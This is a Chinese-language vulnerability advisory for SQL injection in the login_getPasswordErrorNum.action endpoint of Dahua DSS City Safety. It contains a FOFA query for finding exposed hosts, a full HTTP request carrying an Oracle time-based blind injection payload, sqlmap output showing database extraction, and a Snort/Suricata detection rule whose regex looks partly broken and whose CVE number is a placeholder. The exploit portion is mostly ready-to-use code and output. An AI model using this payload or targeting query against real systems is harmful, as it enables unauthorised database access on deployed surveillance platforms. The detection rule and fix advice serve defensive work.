

大华dss城市平安-login_getPasswordErrorNum-sql注入

大华dss城市平安-login_getPasswordErrorNum-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

大华DSS城市平安系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: (title="DSS" && icon_hash="411052691") || body="/itc/login_init.action"

POC/EXP:

```
GET /itc/%7BappPath%7D/login_getPasswordErrorNum.action?
userBean.loginName=admin%27+AND+6585%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2876%29%7C
%7CCHR%2887%29%7C%7CCHR%28120%29%7C%7CCHR%28121%29%2C5%29+AND+%27Ekcf%27%3D%27Ekc
f&userBean.loginPass=123456&_=1693797717346 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/117.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://your-ip/itc/login_init.action
Cookie: JSESSIONID=390F205CE333AA95969E777A02F65C1F;
JSESSIONID=2CDD78986FC307DBD19FC0901810553C
```



```
Parameter: #1* (URI)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: http://.../itc/${appPath}/login_getPasswordErrorNum.action?userBean.loginName=admin' AND 2403=
  AND 'SpQl'='SpQU&userBean.loginPass=123456&_1693797717346

  Type: time-based blind
  Title: Oracle AND time-based blind
  Payload: http://.../itc/${appPath}/login_getPasswordErrorNum.action?userBean.loginName=admin' AND 6585=
  S_PIPE.RECEIVE_MESSAGE(CHR(76)||CHR(87)||CHR(120)||CHR(121),5) AND 'Ekcf'='Ekcf&userBean.loginPass=123456&_1693797717346

[10:49:47] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[10:49:47] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[10:49:47] [INFO] fetching current database
[10:49:47] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:49:47] [INFO] retrieved: DSSC
[10:49:52] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names of other DBMSes
current database (equivalent to schema on Oracle): 'DSSC'
```

sonrt规则:

```
alert http any any -> $HOME_NET any (
  msg:"Dahua DSS - Oracle Time-Based SQLi in login_getPasswordErrorNum (CVE-2025-XXXXX)";
  flow:to_server,established;
  http.method; content:"GET";
  http.uri; content:"/itc/login_getPasswordErrorNum.action";
  http.uri; pcre:"/userBean\\.loginName=[^&]*'%2BAND%2B\\d+%3DDBMS_PIPE\\.RECEIVE_MESSAGE\\(CHR\\([\\^]\\)*\\)%2C5\\)%2BAND%2B'[^']*'%3D'[^']*'/i";
  metadata:cve CVE-2025-XXXXX;
  metadata:affected_product "大华DSS城市平安系统";
  metadata:vulnerability_type "Oracle Time-Based SQL Injection";
  classtype:sql-injection;
  sid:1000425;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。